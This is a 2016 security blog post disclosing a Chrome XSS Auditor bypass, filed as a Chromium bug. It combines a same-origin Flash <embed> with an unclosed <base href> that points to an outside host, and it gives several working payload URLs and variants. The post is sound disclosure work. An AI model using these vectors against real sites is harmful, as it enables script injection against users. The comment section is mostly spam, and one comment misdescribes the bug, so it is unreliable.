Wednesday, May 18, 2016

XSS Auditor bypass using Flash and base tag

A few days ago, I was playing Chrome XSS Auditor bypass with Mario.

Mario discovered this bypass:
Also I found an another bypass. In this post, I would like to share my vector.

I have filed this bug on: https://bugs.chromium.org/p/chromium/issues/detail?id=612672

The vector is this:
https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+allowscriptaccess=always+src=/xss.swf><base+href=//l0.cm/
<div><embed allowscriptaccess=always src=/xss.swf><base href=//l0.cm/</div>
Let's take a look at the process until reaching this bypass.

It is blocked to fetch the external resources using the <embed>:
https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+src=https://evil/>
<embed src=https://evil/>
But it is not blocked to fetch any same-origin resources having no query string:

https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+src=/aaa>
<embed src=/aaa>
So, if we can change the base URL, it is possible to do XSS attacks.
The base tag is also blocked but if it is not closed with >, Auditor does not block in some cases.

The following case is blocked:
https://vulnerabledoma.in/xss_auditortest?test=3&q=<base+href=//evil/
<div><base href=//evil/ </div>
But the following case is not blocked:
https://vulnerabledoma.in/xss_auditortest?test=1&q=<base+href=//evil/
<div><base href=//evil/</div>
Can you see the difference? The former page exists a white space behind the injection point. It seems it is blocked by Auditor if the page has a white space directly behind the injection point. In other words, we can inject a base tag without being blocked if the page does not have a white space directly behind the injection point.

Thus, my vector works!

https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+allowscriptaccess=always+src=/xss.swf><base+href=//l0.cm/
<div><embed allowscriptaccess=always src=/xss.swf><base href=//l0.cm/</div>
So, can't we always bypass if the page has a white space directly behind? No! We still have a chance to bypass.
If the "' characters exists under the injection point, we can bypass Auditor using the unclosed attribute quotes, like <base href="//evil/.

It is not blocked in the following condition:
https://vulnerabledoma.in/xss_auditortest?test=4&q=<embed+allowscriptaccess=always+src=/xss.swf><base+href="//l0.cm/
<div>
<embed allowscriptaccess=always src=/xss.swf><base href="//l0.cm/
</div><div id="x">AAA</div>
I think this bypass is useful because most pages have the "' characters under the injection point.

FYI, also <script src=/xss.js></script><base href=//evil/ is not blocked. But we can't load the external resource because the loading is started before the base URL is set:

https://vulnerabledoma.in/xss_auditortest?test=1&q=%3Cscript%20src=/xss.js%3E%3C/script%3E%3Cbase%20href=//evil/

Thus, I used Flash.

That's all. Thanks for reading my post :)

21 comments:

  1. Replies
    1. The discovery of XSS Auditor bypass techniques highlights how browser security mechanisms can sometimes introduce unexpected vulnerabilities while attempting to block malicious scripts. Understanding how filters behave under different conditions helps security researchers and developers strengthen web applications against evolving attack vectors. Students exploring browser security and secure application development can gain practical insights through Information Security Projects, which cover secure coding practices, vulnerability analysis, and defensive security techniques.

      Delete
    2. Modern web security requires continuous testing of client-side protections, input validation, and browser security features to identify weaknesses before attackers can exploit them. Working on Cyber Security Projects for Final Year Students enables learners to understand penetration testing, web application security, and real-world attack scenarios while building practical defensive skills.

      Delete
    3. For those interested in gaining hands-on experience with cybersecurity concepts, Cybersecurity Projects for Final Year Students provides useful guidance on security tools, threat analysis, ethical hacking concepts, and project ideas that align with current industry practices.

      Delete
  2. Looking at this article, I miss the time when I didn't wear a mask. majorsite Hopefully this corona will end soon. My blog is a blog that mainly posts pictures of daily life before Corona and landscapes at that time. If you want to remember that time again, please visit us.

    ReplyDelete

  3. Thanks sharing valuable information..

    Thanks for sharing a beautiful blog. I got an information from your blog. Keep sharing
    lawyers for bankruptcy near me

    ReplyDelete
  4. This is an interesting exploration of XSS Auditor bypass methods! It’s fascinating how minor changes, like whitespace, can affect security mechanisms. Speaking of clever strategies, I recently enjoyed the gameplay mechanics of Papa's Pizzeria , where timing and resource management are crucial, much like testing and refining security vectors in web development. It’s all about patience and skill, both in gaming and cybersecurity!

    ReplyDelete
  5. This is a fascinating and well-explained breakdown of a significant UXSS vulnerability in Safari. The way you walk through the bug's behavior and demonstrate it with real examples really clarifies how serious the implications could be. It's especially useful for cybersecurity learners and developers trying to understand client-side vulnerabilities. I can see how this detailed analysis could also support students seeking Assignment Help on web security topics or case studies involving CVEs. Great work uncovering and sharing this!

    ReplyDelete
  6. Interesting read! I appreciate how you simplified the concepts here. Students looking to master these topics faster can also consider using Programming Assignment Help
    to clarify their doubts professionally.

    ReplyDelete
  7. This comment has been removed by the author.

    ReplyDelete
  8. I once encountered a similar challenge while testing web applications for security vulnerabilities. Understanding browser behaviors like how Chrome's XSS Auditor reacts to certain tags helped me identify subtle weaknesses attackers could exploit. This article's exploration of bypassing XSS Auditor using Flash and the base tag reminded me of the creative thinking needed in security research. It’s fascinating how small details, like an unclosed attribute or missing white space, can change the outcome entirely. After focusing on such technical problems, I often unwind by trying some light entertainment - Sprunki offers a great mix of fun activities to relax the mind.

    ReplyDelete

  9. Leading power transformer manufacturers in gorakhpurr design products that handle large-scale energy requirements, making them the backbone of industrial growth, infrastructure projects, and commercial power distribution.

    ReplyDelete
  10. It is excellent and beneficial to everyone. On the trip, we are aware of our destination and our current goalsbankrupty lawyers near me Our lawyers at The Law Offices Of Sris kia portal Thank you for keeping us all connected, This blog is an essential compass for navigating a very unpredictable carecredit for pets

    ReplyDelete
  11. Últimamente decidí probar las apuestas en esports y la experiencia fue bastante interesante. La plataforma es clara, fácil de usar y todo carga rápido. Me gustó la variedad de eventos disponibles y lo sencillo que es seguir los partidos en vivo. En general, es una opción entretenida y cómoda para apostar online.

    ReplyDelete
  12. Como jugador, probé https://leovega.cl/ y la experiencia fue muy positiva. La plataforma es rápida, intuitiva y tiene una gran variedad de juegos y apuestas. Todo funciona sin errores y se nota el enfoque en móvil. Además, ofrece buen nivel de seguridad y reconocimiento internacional en el sector.

    ReplyDelete
  13. The bypass you’re describing was part of a series of discoveries in 2016 showing weaknesses in Chrome’s XSS Auditor. The key idea was that while tags were restricted from fetching external resources, they could still load same‑origin files without query strings. greensky online login

    ReplyDelete
  14. Этот пост остаётся понятным и простым от начала до конца. Я открыл для себя Geometry Dash и понравилось, что каждый следующий уровень становится ещё интереснее. Плавный игровой процесс, креативные препятствия и ритмичные действия делают игру увлекательной.

    ReplyDelete